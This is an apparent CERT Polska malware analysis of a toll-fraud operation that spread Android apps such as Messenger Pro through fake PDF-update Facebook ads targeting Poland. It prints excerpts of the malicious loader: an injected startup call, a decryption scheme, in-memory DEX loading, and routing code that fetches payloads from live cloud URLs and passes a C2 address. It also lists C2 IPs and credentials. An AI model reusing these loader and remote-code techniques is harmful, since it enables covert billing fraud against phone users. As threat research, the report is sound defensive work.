Report an incident

Inside a multi stage toll fraud operation targeting Poland

On 14 September 2026, CERT Polska found two Facebook advertisements targeting Polish users with false warnings that their PDF application had expired. Both ads redirected users to the Google Play listing for Messenger Pro, where the unrelated SMS application could be installed. The investigation later expanded to 1235 preserved Meta advertisements across 74 identified profile names. Among them, 852 advertisements under 60 names promoted 17 Google Play applications linked to the operation through code or infrastructure.

The confirmed builds used both messenger and utility covers, and their country policies did not route Poland identically. Messenger Pro sent Polish MCC 260 to its default fraud payload. Phone Cleaner Master, another confirmed build of the same operation, later explicitly selected PL260 for the newer AqMu payload branch. This article uses Messenger Pro as the technical baseline. The app worked as a messenger and could legitimately ask to become the default SMS handler. Behind that cover, the base APK reconstructed an encrypted DEX. This stage retrieved remote data and decrypted a second DEX, which applied the country policy and downloaded the selected fraud payload. In total, execution crossed four layers: the base APK loader, a country gate, a payload router and the selected payload, whose purpose was toll fraud.

Toll fraud is a form of mobile billing abuse in which malware enrolls a subscriber in a paid service without informed consent. Unlike direct premium SMS or call fraud, browser based toll fraud usually has several steps: identify a supported operator, move traffic to the mobile network, open a billing page, provide a telephone number, intercept an SMS verification code and confirm the purchase. The page and verification message may never become visible to the user.

The exact sequence depends on the provider. Some offers accept an SMS keyword, while others require a telephone number and verification code. These steps make toll fraud adaptable. A server can select offers for a specific country or operator, while downloaded code and remote JavaScript keep the provider logic outside of the application submitted to a store. Our earlier analysis of Joker described an android malware family which abused carrier billing. The sample in this article is not attributed to the Joker campaign, but it follows the same broader evolution from simple SMS abuse towards remotely controlled subscription automation.

Typical premium SMS and carrier billing paths used in toll fraud

Figure 1. Typical premium SMS and carrier billing paths used in toll fraud.

In the Messenger Pro policy observed during analysis, Poland, identified by mobile country code (MCC) 260, received the default payload. Its live command and control (C2) server assigned both premium SMS and browser based carrier billing jobs. During controlled execution, C2 JavaScript activated an sms: link without a user gesture and passed its destination and keyword to the native SMS bridge. The values 92505, 92512 and 92513 were SMS short codes used by the subscription pages. Sending the generated keyword to one of them could request or confirm a paid service and charge the subscriber. One captured All4You page associated 92513 with a one time charge of 30.75 PLN. A further job reached a Teleaudio page advertising 17 PLN every seven days.

Premium SMS services in the UKE register

The three short codes returned by the Messenger Pro C2 were checked against the UKE Rejestr Premium, the Polish regulator's public register of premium rate numbers. All three - 92505, 92512 and 92513 - were active registered premium SMS services at a gross price of 30.75 PLN per message, each registered across all four major Polish mobile operators (Orange, T-Mobile, Play and Polkomtel). 92505 is operated by GoMobee LTD (Malta), 92512 by Telefuture Nederland B.V. (Netherlands) and 92513 by RedLeads B.V. (Netherlands). The registered service name for 92505 includes Loovafit and Loovaplay, matching the keywords the malware sent; for 92513 it is Usluga ALL na numerze 92513, matching the ALL 64913 keyword captured during the controlled run. The 30.75 PLN figure also matches the All4You page disclosure captured at runtime. These service companies operate the premium SMS aggregation whose numbers were abused; they are the billing providers, not the operator of the malware campaign. The Teleaudio offer of 17 PLN every seven days was reached through epayment.teleaudio.pl direct carrier billing rather than a premium SMS short code, so it does not appear as an entry in this register.

Distribution and campaign scope

Our investigation began with two Polish ads in Meta's Ad Library. They were displayed under the names Britney Harris and Kenneth Williams and used the same false PDF update theme. Both claimed:

Aplikacja PDF straciła ważność. Jeśli nie zaktualizujesz teraz, nie będziesz mógł otworzyć plików PDF. Jesteś o krok od utraty dostępu. Nie ryzykuj. Zaktualizuj do najnowszej wersji już teraz.

A direct translation reads:

Your PDF application has expired. If you do not update now, you will no longer be able to open PDF files. You are one step away from losing access. Do not risk it. Update to the latest version now.

First Polish Facebook advertisement claiming that a PDF application has expired Second Polish Facebook advertisement using the same fake PDF update lure

Both advertisements were active in Meta's Ad Library when we captured them on 14 September 2026. Their Ad Library IDs were 1101937705505412 and 4635863290017072. The second showed fewer than 100 impressions at capture time, but this count described only one advertisement within a much larger inventory.

Clicking either advertisement redirected users directly to the Messenger Pro listing on Google Play. The advertised package was:

com.messages.sms.messenger.textmessage.owyo

Google Play presented the package as Messenger Pro, version 9.0, under the developer name Noah Isaiah Shortland. Its screenshots advertised a password lock, visual customization and emoji support. Nothing in the listing connected the application to PDF files or updates.

Messenger Pro listing observed in Google Play

CERT Polska reported Messenger Pro to Google on 15 September 2026, after which Google removed the application from its store. This stopped new installations through its listing but did not affect copies already installed on users' devices. The C2 and supporting infrastructure remained operational during our analysis, including after the store listing was removed, and continued to accept controlled Polish registrations and issue jobs.

Campaign scale across Meta and Google Play

The investigation started with a narrow scope: two advertisements leading to a single application. After characterizing Messenger Pro, we checked whether more advertisements promoting this application existed. Repeated collection expanded the collection to 1235 unique Meta advertisements across 74 identified profile names. The advertisements promoted 29 identified Google Play packages, while 90 removed records no longer exposed a destination. Code and infrastructure connected 17 of those applications to the operation. What had looked like a single malicious APK with a handful of advertisements was part of a coordinated and continuing distribution effort.

The operation relied on both platforms at once. Meta supplied paid acquisition aimed at Polish users: advertisements placed inside a familiar feed carry the credibility of the advertising platform itself, so the false PDF warnings looked like ordinary product promotion. Google Play supplied the installation path that users treat as reviewed and trustworthy. The categories below are deliberately separate. A shared advertiser profile or visual theme does not by itself establish that two APKs contain the same malware.

Messenger Pro provided the baseline for campaign mapping. We linked other advertisements and applications to the campaign only through verifiable evidence: exact ad destinations, matching media hashes, shared loader code or specific DNS, TLS and hosting overlaps. Similar names or lures alone were insufficient.

Evidence Ads Profile information
Confirmed toll fraud build 532 28 named profiles
Related malicious loader; final fraud payload not recovered 320 33 named profiles
Unrelated applications on reused advertiser profiles 98 2 named profiles
Same advertising campaign, different APK implementation 94 2 named profiles; 11 records without a profile label
Advertisement removed and destination unavailable 90 8 named profiles; 15 records without a profile label
Advertised application identified, APK unavailable 82 8 named profiles; 25 records without a profile label
Exact campaign media reuse; recovered APK not code confirmed 19 2 named profiles; 5 records without a profile label
Total preserved 1235 74 identified profile names

The profile names are advertising labels, not verified identities. We keep unavailable applications and removed destinations outside the code confirmed count. We also distinguish applications promoted with exact campaign media when their recovered APK did not expose the loader. The 98 advertisements for Quick Show and BlushToon came from profiles which also promoted confirmed operation software, but both APKs were comic readers with different code and infrastructure. Their presence indicates advertiser account reuse, not a link to this toll fraud operation.

Application or package Ads Analysis status
Cool Wallpaper 153 Toll fraud sample confirmed
Text Chat 135 Toll fraud sample confirmed
Seed Text Messages 133 Related malicious loader confirmed
Max Messenger 121 Toll fraud sample confirmed
Instant Messages 99 Related malicious loader confirmed
Colorful Message 94 Same advertising campaign, different hidden code path
Quick Show 75 Advertiser profile overlap only, another malware campaign
Messenger Pro 49 Toll fraud sample confirmed
Phone Cleaner Master 40 Toll fraud sample confirmed
PDF Scanner Art 34 Toll fraud sample confirmed
Light SMS 25 APK unavailable
BlushToon 23 Advertiser profile overlap only, another malware campaign
PDF Scanner Pro 21 Related malicious loader confirmed
Easy Messages 15 APK unavailable
Easy Messages Pro 15 Exact campaign media reuse; recovered APK not code confirmed
Short Messages 11 Related malicious loader confirmed
com.trusted.pdfeditor.xnqala 11 APK unavailable
com.sms.mms.message.chat.onih 10 APK unavailable
Text Magic Messages 10 Related malicious loader confirmed
Lite PDF Scanner 10 Related malicious loader confirmed
com.goconversation.motsms 10 APK unavailable
Text Message Pro 9 Related malicious loader confirmed
Quick Chat Message 8 Related malicious loader confirmed
Text Messages 7 Related malicious loader confirmed
com.purelyclean.puressd 7 APK unavailable
Go Cleaner Pro 7 Related malicious loader confirmed
Quick Message Pro 5 Related malicious loader confirmed
Comic Reader 4 Exact campaign media reuse; recovered APK not code confirmed
site.plmn.qazcaqzsw 4 APK unavailable

Six applications exposed recovered toll fraud components or direct payload links. Eleven additional APKs contained malicious loaders linked by their advertising destinations, hidden Android components, activation logic and infrastructure. Their final fraud modules were not recovered, so we keep that evidence level separate. Together, these 17 applications accounted for 852 advertisements under 60 displayed profile names.

Colorful Message reused exact advertising images from the same campaign and was promoted by 94 Meta advertisements. During the investigation we also found nine TikTok advertisements for the same package. Its hidden native execution path differed from the confirmed loader family, so we treat it as part of the same advertising campaign without claiming that it used the same malware implementation. Light SMS, Easy Messages and five newly identified removed packages remain supporting evidence because their APKs were unavailable. Easy Messages Pro and Comic Reader were exact destinations of reused campaign media, but the recovered APK versions did not expose the operation loader.

The 60 displayed profile names attached to operation destinations were:

Displayed profile name Meta profile ID Operation linked Google Play destinations Ads
Britney Harris 61593727542707 Messenger Pro, Text Chat, Cool Wallpaper 62
Joshua Wilson 61593976501688 Max Messenger, Messenger Pro 55
James Davis 61594047778610 Cool Wallpaper, Max Messenger 42
Sarah Anderson 61593960332202 Max Messenger 36
Mary Garcia 61593595067801 Text Chat 33
German Barthelmes 61592895305250 Phone Cleaner Master 30
Lucila Cauthorne 61592754971282 Cool Wallpaper 28
Jared Rianna Max 61552742986202 Seed Text Messages, Text Message Pro 27
Tonda Pantaleo 61592879045513 Cool Wallpaper 26
Ryan Violet Nicholas 61552929878708 Seed Text Messages, Text Message Pro 25
Eerie Pictures 61592563643483 PDF Scanner Art 24
Vicious Destiny 61592419769159 Text Chat 20
Britney Thomas 61594128055022 Text Chat 18
Golebiowski Niko Maney 61552344944740 Instant Messages 18
Luminous Digest 61592160521034 Text Chat 18
Hailee Tant Tristan 61552953277786 Seed Text Messages 17
Julia Holler Yardim 61552810942953 Instant Messages 16
Reed Jordan Naceir 61552904260028 Seed Text Messages 16
Sigh Strategy 61592494676578 Text Chat 16
Donald Smith 61594085186962 Max Messenger, PDF Scanner Pro 15
Duffy Julie Kendra 61552352084393 Instant Messages 15
Kenneth Lee 61593871056189 Text Chat 15
Blaine Damiani Castro 61552353584614 Instant Messages 14
Diana Smith Follum 61552802543271 Seed Text Messages 14
Bentley Neild Elise 61553245254990 Seed Text Messages 13
Carroll Emma Katie 61552836531868 Instant Messages 13
Joshua Martin 61593802659296 Messenger Pro 13
Paul White 61593643846011 Max Messenger 12
Alfredo DiGiovanni Corder 61552422402694 Seed Text Messages 11
Annette Przybycien 61593086698190 Max Messenger 11
Nicky Tant Jaclynn 61579450411967 Short Messages 11
Forbidden Mirage 61592017277145 Phone Cleaner Master 10
Icy Theater 61592359380283 Lite PDF Scanner 10
Jene Stensrud 61592626186875 Text Magic Messages 10
Willia Lymon 61592621566557 PDF Scanner Art 10
Toby Cagle 61593027060647 Max Messenger 9
Alves Niggebrugge Skyler 61578644399109 Quick Chat Message 8
Jade Allen 61593038820356 PDF Scanner Pro 8
Andrew Johnson 61593604607638 Cool Wallpaper 7
Devotion Stories 61592197271568 Text Messages 7
Kenneth Williams 61593735942449 Messenger Pro 7
Kevin Grube DeLucia 61552901649886 Seed Text Messages 7
Lashawnda Yeargin 61593182873946 Cool Wallpaper 7
Yearning Heavenly 61592216618614 Go Cleaner Pro 7
Blazing Summary 61592244757479 Instant Messages 6
Cipher Digest 61592513695680 Instant Messages 6
Wander Desire 61592344833209 Instant Messages 6
Eternal Wall 61592636690370 Instant Messages 5
World Diary 61592643594315 Quick Message Pro 5
Ian Malito 61592606567123 PDF Scanner Pro 4
Lester Sakihara 61592758690995 Cool Wallpaper 4
Reed Elliott J 61552954417589 Seed Text Messages 4
Susan Gonzalez 61593871176440 Max Messenger 4
William Lee 61594177762913 Max Messenger 4
Rodriguez Kevin Williams 61553167738054 Seed Text Messages 3
Sarah Lee 61593639406430 Text Chat 3
Elwell Szczerba Crawford 61552361744011 Seed Text Messages 2
Haggard Brunernqz 61594305200238 PDF Scanner Pro 2
Jubb Francisco Boddorff 61552469711891 Seed Text Messages 2
Lauren Wynn Brock 61553077532051 Seed Text Messages 1

Britney Harris also displayed 12 advertisements for Easy Messages, and Kenneth Williams displayed 21 for Light SMS. We downloaded a further 898 advertising files and grouped them into 45 exact SHA-256 clusters. 23 clusters matched files from the earlier collection. One unchanged file, SHA-256 90b87d8b4dda273ef64853a9997bba0844f0bc02071ae5101d1be2693be1b861, appeared in 55 new advertisements across 20 packages and 39 identified profiles, in addition to one earlier record. The previously leading file, SHA-256 7299f7de6acf366fc7f32f7c3873a09e11a08d9493aaa508cd2b2ee816c5d284, grew from 26 to 50 observed advertisements. This media reuse supports common campaign production, while shared code and infrastructure provide independent technical evidence.

Every application discovered during the investigation was reported to Google and removed from the store. We also reported the advertisements to Meta, and these were the reports that led Meta to remove them. The removal covered only the advertisements we identified. Other advertisements in the same operation may have remained active without our knowledge, although advertisements have a limited lifetime and some could have expired on their own. The removals did not stop distribution entirely: new packages appeared, the C2 infrastructure remained active and copies installed earlier could still reach it.

This campaign provides a current example of the problem described in our March 2025 evaluation, which found that Meta had inadequately implemented several proposed safeguards. These included better handling of reports from ordinary users, proactive blocking of repeat advertisers and integration of the CERT Polska Warning List. In August 2026, after the Ministry of Digital Affairs published its correspondence with Meta, Deputy Prime Minister Krzysztof Gawkowski announced that he had formally asked the European Commission to impose a penalty of at least 250 million euro over Meta's handling of fraudulent advertising in Poland.

Shared loaders and infrastructure

Advertising evidence established the campaign's scale, while code and infrastructure linked the applications to the same operation. We compared 22 Android builds recovered during the investigation and identified a recurring payload delivery architecture.

In the typical path, a working cover application reconstructed an encrypted DEX at runtime. The loader verified its package name and the device MCC, queried a compact policy endpoint, decrypted a second DEX responsible for payload selection, and downloaded the final payload from Alibaba Cloud Object Storage Service (OSS). Cool Wallpaper implemented part of this chain in native code. Max Messenger used the encrypted Java country gate but moved its next routing stage into ARM64 code.

The later builds retained the cover application, hidden host components and remote activation gate, but varied the final handoff. Text Messages, Short Messages, Seed Text Messages and Instant Messages passed a validated or transformed server response into an obfuscated native library. Quick Chat Message decrypted the server response and loaded it directly through InMemoryDexClassLoader. Six applications recovered during the investigation followed the same two designs. PDF Scanner Pro, Text Magic Messages, Go Cleaner Pro and Text Message Pro handed validated policy responses to native code. Quick Message Pro and Lite PDF Scanner reconstructed authenticated DEX containers and loaded them from memory. Their injected startup calls and hidden host components matched the operation even though we did not recover their final fraud modules.

Application Package Policy domain Recovered object or endpoint
Storage Cleaner ai.storage.cleaner.phonecleaner.junkfiles.wlchyh api.bcvsri.link aqmu2115
Document Reader fast.documentreader.pdfviewer.kqvndr api.sdbnxm.link aqmu2116
Text Chat com.text.chat.messaging.sms.vccqaho api.trixbn.link fallback 8.219.222.81
Smart Clean com.smartcleansdhcn.tools api.fdghsn.link aqmu2124, fallback 47.245.84.227
Clean Max com.cleanmax.imam.cleaner.upvvpdh api.fgsbns.link aqmu2132
PDF Scanner Art com.pdfscanner.artyo api.ghdnbv.link aqmu2145, fallback 43.106.56.154
Phone Cleaner Master com.ms.phonecleaner.clean.junk.pkoza api.hsbdbv.link aqmu2150, C2 47.84.193.174, fallback 47.84.57.5
Frekas com.storage.phone.delete.frekas api.ksbxnc.link aqmu2154, fallback 47.84.66.120
Messenger Pro com.messages.sms.messenger.textmessage.owyo api.tehsnb.link aqmu2155, C2 47.84.77.127
Max Messenger com.maxmessenger.sms.pkqlav api.yandeb.link ARM64 routing stage recovered
Cool Wallpaper com.supono.ihgsvco api.uhsbxh.link /ehed/mcdjd; encrypted ELF asset rs9w51
Text Messages com.cuff.textsms.messages.patk api.evabunt.link /ywes/tmop; native library lzopvfrnzx
Short Messages com.shrtsms.xxmessages api.piaagt.click /foung/shrts; native library tfbgoemroyhv
Seed Text Messages com.seeds.textsms.avon api.fuzwek.click /pekui/zzmer; native library ewytjh
Instant Messages com.instantmessages.textdatamessages api.vamko.click /edapsn/sewkx; native library dmiui
Quick Chat Message com.chatmessages.textsmsmessanger api.swepqk.click /zleir/oyfen; remote floral.shift.Coffee.jubilant()
PDF Scanner Pro com.pdf.quantum.scanner api.piaagt.click, fallback api.funtpjw.click /rumag/ksgpr; native library jcxo
Text Magic Messages com.efasms.magical.tmmssages api.tegonp.click /ver1/textmg; native library rdxmrbngoifk
Go Cleaner Pro com.merclean.approximating api.merfunk.click /dafiv/taqmg; native library cjbfhbuzpra
Text Message Pro com.tipro.smstext.message api.dokersxxnv.click /naizboa/bhbdxcm; native library hlkmd
Quick Message Pro com.msg.quick.secure.chsrkm Not recovered 188,250 byte authenticated DEX container
Lite PDF Scanner imagetopdf.pdfconverter.jpgtopdf.avabcl Protected in loader Authenticated DEX loaded through method handles

Historical WHOIS records show that all 20 parent domains were registered through Amazon Registrar between 10 July and 17 September 2026. Passive DNS mapped the original 16 api hosts to distinct Aliyun US East load balancers. The four new parent domains followed the same AWS name server template and their api hosts resolved to pairs of Alibaba addresses. Two earlier domain pairs were registered only 29 and 38 seconds apart, which is consistent with an automated domain registration process. Eight recovered OSS objects shared the aqmu prefix and identifiers from 2115 to 2155.

The four newly recovered parent domains shared the exact historical WHOIS hashes for registrant organization, telephone number and street address with piaagt.click, tehsnb.link and hsbdbv.link. This provides a more specific connection than common registrar or cloud provider use. PDF Scanner Pro supplied another direct bridge: its primary endpoint reused api.piaagt.click, which was already present in Colorful Message and Short Messages, although every build used a different path, marker and native library. Together, the registration data, DNS structure, object naming and code design support common infrastructure preparation.

Phone Cleaner Master supplied the clearest later comparison with the Messenger Pro baseline. On 16 September, its policy endpoint returned:

poirjfirenhrhfgwv_GUOJIA=999_PL260_NG621_AT232

The marker activated its embedded routing stage, while the suffix selected MCC 260, 621 and 232 for the newer AqMu branch. Polish devices therefore downloaded aqmu2150 and loaded com.dzyna.mytsx.AqMu.land(). The resulting DEX contained 112 classes, the same class count and obfuscated package size distribution as the AqMu payload recovered from Messenger Pro.

The two AqMu builds used separate C2 configurations. The Messenger Pro build used 47.84.194.202/asnvoycs with password u18r3ze2, while the Phone Cleaner Master build used 47.84.193.174/j26j8vf7 with password trd6rgu5. Both retained fallback address 129.226.172.250, event endpoint api.appbhwljk.com/api/v3/wkev and the same embedded event token. These code and configuration matches link the payloads more specifically than common cloud hosting.

Messenger Pro provided a direct pivot from the sample to the network infrastructure: its final payload communicated with 47.84.77.127 over plain HTTP. We examined the passive service history of this IP for identifiers shared with endpoints recovered from related builds. VirusTotal recorded a TLS service on port 443 which, on 10 September 2026, presented an expired Let's Encrypt certificate issued for ablefee.wiki:

Certificate SHA-256: 5848152508acc864869500c0dfff20723a087019eb717131dc6d7df51fbd75e6
Subject CN:           ablefee.wiki
Issuer:               Let's Encrypt R11
Valid from:           2025-02-06 05:00:46 UTC
Valid until:          2025-05-07 05:00:45 UTC
Observed on IP:       47.84.77.127:443, 2026-09-10

This passive TLS observation is how ablefee.wiki entered the investigation. The domain does not appear in the Messenger Pro code or its network requests, and passive DNS does not connect it to 47.84.77.127. Its value is the exact certificate hash, which VirusTotal also observed on five IP addresses independently recovered from related loader samples:

IP address Sample context First VT certificate observation in 2026
43.98.201.44 earlier PDF branch 4 May
43.106.58.250 AI Cleaner fallback 31 August
8.219.222.81 Text Chat fallback 8 September
47.245.84.227 Smart Clean fallback 12 September
47.84.66.120 Frekas fallback 14 September

The same expired certificate was therefore presented by six independently linked endpoints. Presenting an identical certificate during TLS negotiation normally requires access to the corresponding private key, so this reuse supports shared infrastructure management.

Evidence assessment

Taken together, the evidence links 17 Google Play applications and 852 Meta advertisements to a coordinated Android toll fraud operation targeting Polish users. Six applications exposed recovered toll fraud components or direct payload links. Eleven additional applications exposed related malicious loaders, although their final fraud modules could not be recovered. Reused advertising media connects Meta profiles with Google Play listings, while the loader design, hidden host components, WHOIS records, OSS object names and domain registration patterns connect the analyzed builds. The Messenger Pro C2 supplied live premium SMS and recurring carrier billing jobs, while the later Phone Cleaner Master policy explicitly selected Polish MCC 260 for its AqMu branch. Certificate reuse provides an additional infrastructure link, but it does not prove that every historical endpoint was controlled by the same person. We therefore make no attribution concerning the operator's identity, nationality or location.

Technical analysis

We reconstructed the complete execution chain through static analysis, network traffic inspection and controlled execution on Android 15 with a Polish mobile operator profile. Static findings were compared with decrypted C2 exchanges, application logs and WebView activity. In this article, observed describes behavior captured during execution, while capability describes implemented code that was not activated in our tests.

Unless stated otherwise, the execution details below describe the Messenger Pro baseline. Related builds preserved the same general delivery design but changed cover applications, policy markers, routing implementations, payload objects and C2 configuration.

Cover application and SMS permissions

Messenger Pro is not an empty shell. In the test environment it completed setup and displayed a working inbox with message categories, private conversations, spam blocking and an archive. Its permission screen asserted: Your privacy comes first. No unnecessary permissions.

Messenger Pro permission screen claiming that no unnecessary permissions are requested Working inbox shown by the Messenger Pro cover application

After we selected it as the default SMS handler through the normal android interface, android granted READ_SMS, RECEIVE_SMS, RECEIVE_MMS and SEND_SMS with the GRANTED_BY_ROLE flag. Phone state, calls, contacts and notification posting were also granted. Overlay access was allowed separately.

This is the key permission disguise. Google Play permits a registered default SMS handler to request restricted SMS permissions, subject to review. The cover uses them for messaging, while downloaded code uses the same grants for billing fraud.

The operation did not require every cover to request the same permissions. Phone Cleaner Master used a utility cover and did not request READ_SMS, RECEIVE_SMS or SEND_SMS. Its downloaded AqMu payload still contained the generic SMS routine, but android would not normally allow that routine to transmit messages in this host. Browser billing, mobile network binding and notification features remained available. Premium SMS and Direct Carrier Billing are separate toll fraud paths: the first sends a keyword to a short code and requires SEND_SMS, while the second opens a billing page in a hidden WebView and charges through the subscriber's mobile network identity without sending any SMS. The messenger covers could do both; the utility cover was limited to carrier billing. This difference shows that the operator could reuse a payload framework while enabling only the capabilities supported by each cover application.

Google Play delivered Messenger Pro as a split APK installation consisting of the base APK and a required ARM64 configuration split. Analysis recovered a country gate, a payload router and two alternative fraud payloads, all implemented as DEX files. Each execution route used four layers: the base APK, the country gate, the payload router and one selected fraud payload.

Artifact Role Size
Base APK Messenger and loader 18,512,332 B
ARM64 split Required application libraries 8,597,819 B
Stage 1 Package and country gate 80,384 B
Stage 2 Payload router 21,860 B
Default payload Fraud payload used by Poland and other allowed MCCs 174,916 B
Targeted payload MCC 208 and 460 payload 216,724 B

The base APK acted as a loader and contained stage 1 in encrypted form. Once decrypted, stage 1 validated the package name and SIM MCC, then fetched a remote marker that activated decryption of stage 2 embedded within it. Stage 2 applied the remote country policy and downloaded the selected fraud payload. In this Messenger Pro build, Polish MCC 260 received the default branch. The following execution flow summarizes this chain.

Messenger Pro infection and toll fraud flow

Figure 2. Messenger Pro execution flow. Red marks the route selected for Polish MCC 260 by the policy observed on 15 September 2026.

The base APK contained 39,990,208 bytes of DEX code across nine files. The loader and the encrypted stage 1 were included in classes9.dex, which represented 0.552% of those bytes. One injected call blended into a large Application.onCreate() method, while integer arrays hid the first DEX header.

We cannot determine what Google's internal review saw or whether an earlier release was clean. We recovered version 9.0 only. Android guidance states that many forms of remote dynamic code loading violate Google Play policies. The loader reconstructed stage 1 as a byte array and loaded it with InMemoryDexClassLoader. Stage 1 then decrypted stage 2 the same way, and stage 2 downloaded the final DEX from object storage. Stage 1, stage 2 and the final DEX were all executed with InMemoryDexClassLoader.

Execution chain and stage transitions

Base APK to stage 1

Execution did not require the user to open the application. Package Manager recorded installation at 12:54:02. At 12:54:03, android's contacts process requested the application's exported Bluetooth Message Access Profile (MAP) content provider, which declared itself syncable. ActivityManager started the application process to serve that request:

09-15 12:54:03.695 I ActivityManager: Start proc 4257:
com.messages.sms.messenger.textmessage.owyo/u0a211 for content provider
{.../provider.BluetoothMapProvider}

The provider itself is a stub. Its importance is that the request started the application process without opening the interface. Android initializes content providers before Application.onCreate(). Startup then reached MyApplication.onCreate(), where one injected call launched the loader before normal messenger initialization. Reduced to the relevant statements, the code is:

@Override
public void onCreate() {
    super.onCreate();
        OePZg.zbM9Zl8(this);        // injected loader
    f44385o000O00 = this;        // messenger initialization follows
}

public static void zbM9Zl8(Context context) {
    if (context != null)
        new Thread(new bMOnRYZisw(context.getApplicationContext())).start();
}

The manifest also declares host components used by later stages: a disabled launcher alias, the WorkJobService job service, a transparent activity labelled 6002, and a notification listener service.

The loader builds an 80,433 byte array through 73 generated methods. Reconstructing the array revealed the following authenticated container:

magic 0b09b12a | version 01 | nonce 12 bytes | ciphertext 80,384 bytes | HMAC 32 bytes

The master key is reconstructed from integer arrays. The custom routine derives two SHA-256 keys, verifies the HMAC, then XORs each ciphertext block with a SHA-256 stream:

auth_key   = SHA256(master_key + b"\x5a" + magic)
stream_key = SHA256(master_key + b"\x33" + magic)
assert HMAC_SHA256(auth_key, blob_without_tag) == tag

for counter in range(number_of_blocks):
    stream = SHA256(stream_key + nonce + counter.to_bytes(4, "big"))
    plaintext_block = ciphertext_block XOR stream

The verified plaintext began with dex\n038\0, confirming that decryption had recovered a valid android DEX file. Here, 038 identifies the DEX format version, not the application or malware version. The loader passed the recovered stage 1 bytes directly to InMemoryDexClassLoader:

ClassLoader loader = new InMemoryDexClassLoader(
    ByteBuffer.wrap(dex), context.getClassLoader());
Class<?> gate = loader.loadClass("com.security.check.Gate");
gate.getDeclaredMethod("a", Context.class).invoke(null, context);

The reflective call to Gate.a(context) marks the end of the base APK loader and the beginning of stage 1.

Stage 1 to stage 2

Stage 1 enables the launcher alias, verifies the package name and continues only for an allowed SIM MCC. Its control flow, with names normalized, is:

if (!matches(expectedPackage, context.getPackageName(), '|')) {
    Process.killProcess(Process.myPid());
} else if (allowedMcc(context)) {
    new Thread(new SecurityCheckTask(context)).start();
}

The decoded allowlist covers Thailand, Indonesia, Malaysia, Turkey, Saudi Arabia, the United Arab Emirates, Poland, Austria, Greece, Germany, Nigeria, France, Romania, Switzerland and China:

520 510 502 286 420 424 260 232 202 262 621 208 226 228 460

The test environment initially exposed its default MCC 310, which is not present in the allowlist. We used this configuration to confirm the rejection path, although stage 1 had already enabled the launcher alias before the first screen appeared. We then configured the test environment to report SIM MCC 260 and followed the route intended for Polish devices. Stage 1 accepted this value and requested the fixed policy endpoint at hxxps://api.tehsnb[.]link/sabd/mckd. On 15 September 2026, it returned the following shared activation and routing response:

HTTP/2 200
content-type: text/plain; charset=utf-8

cbhedbgegevddgwv_GUOJIA=460_FR208

The response did not classify the test device as French. It was a shared policy and supplied no executable code or decryption key. The marker cbhedbgegevdd instructed stage 1 to continue. The suffix _GUOJIA=460_FR208 listed the MCC values assigned to the targeted route: 460 for China and 208 for France. Polish MCC 260 was absent, so stage 2 selected the default route. Stage 1 already contained the encrypted stage 2 container and a second hardcoded master key. After finding the marker, it verified the container HMAC, decrypted the 21,860 byte DEX with the same construction based on SHA-256 and loaded it through InMemoryDexClassLoader.

Stage 1 then invoked paint.august.Osmanthus.flower(policyBody), passing the complete HTTP response as a string. This call marks the end of stage 1 and the beginning of stage 2.

The marker and policy values were specific to this build. Phone Cleaner Master used marker poirjfirenhrhfg and the same _GUOJIA convention. Its response selected PL260, NG621 and AT232, then activated a 39,264 byte routing DEX already encrypted inside stage 1. In both applications the server response supplied permission to continue and the country policy, while the encrypted executable and its decryption key were already present locally.

Stage 2 to the fraud payload

Stage 2 receives the complete policy response in Osmanthus.flower(). It extracts the text following _GUOJIA=, reads the first three digits of the SIM operator and selects one of two remotely hosted payloads. The relevant routing logic, with names normalized, is:

String selected = policy.substring(policy.indexOf("_GUOJIA=") + 8);
String mcc = telephonyManager.getSimOperator().substring(0, 3);
boolean targeted = selected.contains(mcc);

if (targeted) {
    config = new Config(
        "https://tuonew.oss-me-east-1.aliyuncs.com/aqmu2155",
        "dewqq_rsp", "dewqq",
        "com.dzyna.mytsx.AqMu", "land", true);
} else {
    config = new Config(
        "https://boitim.oss-eu-west-2.aliyuncs.com/taoxe",
        "oyoangon", "gasdg",
        "com.jk.MainEntry", "init", false);
}

start("47.84.77.127", config);

Each configuration contains the payload URL, cache filename, telemetry prefix, entry class, entry method and a branch flag. The 47.84.77.127 argument becomes the C2 address only for the default payload. For the targeted branch, stage 2 replaces the two entry arguments with the names of LpMsdqActivity and NotificationTool; that payload contains its own C2 address, 47.84.194.202.

Internal diagnostics call the routes new and old, but those labels do not describe their operational status. We use targeted and default according to their selection logic.

The Messenger Pro default payload was not specific to Poland. Stage 2 selected it for every allowed MCC except 208 and 460. The payload reported the full MCC/MNC during C2 registration, allowing the backend to assign country or operator specific jobs. In our controlled run, MCC/MNC 26001 was classified as PL and received Polish premium SMS and carrier billing tasks.

This routing decision was not fixed across the operation. In Phone Cleaner Master, the live policy included PL260, so the same MCC selected the newer AqMu branch instead. That build downloaded aqmu2150, invoked com.dzyna.mytsx.AqMu.land() and used 47.84.193.174/j26j8vf7 as its primary C2 configuration. The contrast shows that labels such as default and targeted describe a decision within one build, not permanent country assignments.

Before retrieving the selected payload, stage 2 schedules a persisted JobScheduler job for WorkJobService, initializes AppsFlyer and reads the Google Play install referrer. It also starts the transparent LpMsdqActivity through an indirect activity launch chain. On Android 10 and later, it wraps the activity intent inside a broadcast PendingIntent, sets that pending intent as the media button receiver of a temporary MediaSession and dispatches a media button event. A registered receiver extracts the original intent and starts the activity. The accompanying virtual display and Presentation belong to this launch mechanism, not to the billing WebView.

The selected object is text encoded with Base64. Decoding it produces data compressed with gzip, and decompression produces the final DEX. For the default object selected during the Polish run:

HTTP body       123,388 B   starts with H4sIAAAAAAAE...
Base64 decode    92,541 B   starts with 1f 8b 08 (gzip)
gzip inflate    174,916 B   starts with dex\n035\0

Stage 2 stores the encoded HTTP body as oyoangon for the default route or dewqq_rsp for the targeted route in the application's private files directory. Later executions can use this cached copy instead of downloading the object again. Stage 2 then decodes, decompresses and loads the final DEX through another InMemoryDexClassLoader:

byte[] compressed = Base64.decode(downloadedObject, Base64.DEFAULT);
byte[] dex = gunzip(compressed);

ClassLoader cl = new InMemoryDexClassLoader(
    ByteBuffer.wrap(dex), context.getClassLoader());
Method entry = cl.loadClass("com.jk.MainEntry")
    .getMethod("init", String.class, String.class);
entry.invoke(null, "47.84.77.127", installReferrer);

For Polish MCC 260, stage 2 invoked com.jk.MainEntry.init("47.84.77.127", installReferrer). The arguments are the default payload's C2 address and the Google Play install referrer. This call marks the end of stage 2 and the beginning of the default fraud payload.

Both payload objects were available:

Route Object last modified Encoded object Decoded payload
Default, observed for Poland 24 Aug 2026 123,388 B 174,916 B
Targeted/France and China 9 Sep 2026 142,040 B 216,724 B

